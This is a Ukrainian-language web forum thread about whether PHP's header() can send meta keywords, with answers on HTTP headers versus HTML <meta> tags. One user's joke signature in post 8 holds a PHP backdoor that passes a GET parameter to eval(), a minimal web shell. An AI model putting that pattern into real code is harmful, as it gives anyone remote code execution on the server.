1

Тема: Функція header() відправка мета даних

Слава Україні. В мене таке питання чи можливо функцією header() відправити мета дані наприклад ключовики з тіла документа в шапку документа просто в мене шаблон хедер окремий а на інших шаблонах різні ключовики які витягаються з бази даних. Чи можливо є якісь інші способи вивести мета дані чи можливо поради. Дякую

2 Востаннє редагувалося P.Y. (03.03.2015 23:50:10)

Re: Функція header() відправка мета даних

Не дуже розумію, що таке «ключовики», але header() передає заголовки протоколу http, які не входять до власне html-документа (у складі якого також виділяють заголовок — тег <head>, але це зовсім інше поняття).

Альтернативою http-заголовкам може бути html-тег <meta>, що дозволяє передати ті ж дані заголовків (напр., інформацію про кодування чи перенаправлення) безпосередньо в складі html. Однак, <meta> має нижчий пріоритет — якщо, наприклад, у header() було задано одне кодування, то кодування, вказане в <meta>, ігнорується.

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

3

Re: Функція header() відправка мета даних

P.Y. написав:

Не дуже розумію, що таке «ключовики», але header() передає заголовки протоколу http, які не входять до власне html-

ну мається на увазі передати ось таке

<meta http-equiv="Keywords" content="Текст" />
<meta http-equiv="Description" content="Текст" />

4

Re: Функція header() відправка мета даних

Це інше, розбирайтеся з налаштування вашої CMS.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

5

Re: Функція header() відправка мета даних

rusikz написав:
P.Y. написав:

Не дуже розумію, що таке «ключовики», але header() передає заголовки протоколу http, які не входять до власне html-

ну мається на увазі передати ось таке

<meta http-equiv="Keywords" content="Текст" />
<meta http-equiv="Description" content="Текст" />

Теоретично, можна замінити їх http-хедерами. Щоправда, виникають питання:
1) чи підтримується кириличне кодування або utf-8 безпосередньо в http-заголовку?
2) чи зрозуміє конкретний пошуковик таку форму передачі ключових слів?

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

6

Re: Функція header() відправка мета даних

Наскільки я все правильно зрозумів - неможна фунцією header відправити інформацію яка має бути у body

7

Re: Функція header() відправка мета даних

http://en.wikipedia.org/wiki/List_of_HT … nse_fields
Деякі з цих заголовків є аналогами тегів meta. Але далеко не всі і не всіх. В цілому, заголовки описують загальну інформацію про сторінку; ключові ж слова - це явно вміст сторінки, а не загальна інформація. Так що тільки в <head>.

8

Re: Функція header() відправка мета даних

А хіба коректно використовувати атрибут http-equiv для Keywords & Description?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

9

Re: Функція header() відправка мета даних

Invader написав:

А хіба коректно використовувати атрибут http-equiv для Keywords & Description?

Можливо не коректно але я не можу придумати як ще можливо таке реалізувати є здогадки але я навіть покищо сформулвати не можу.

10 Востаннє редагувалося Sensetivity (04.03.2015 16:53:13)

Re: Функція header() відправка мета даних

Invader написав:

А хіба коректно використовувати атрибут http-equiv для Keywords & Description?

Ні.
http://img0.joyreactor.cc/pics/comment/%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80-%D0%BA%D0%B0%D1%80%D1%82%D0%BE%D1%85%D0%B0-1348483.jpeg

є здогадки але я навіть покищо сформулвати не можу.

А хіба релігія забороняє зробити якось так:

$kw_string = 'anime, manga, music, Japan, Japanese, torrent, download, community';
//.... html-розмітка
<meta name="keywords" content="<?=$kw_string?>">
//.... html-розмітка

і передавати у $kw_string потрібні ключслова.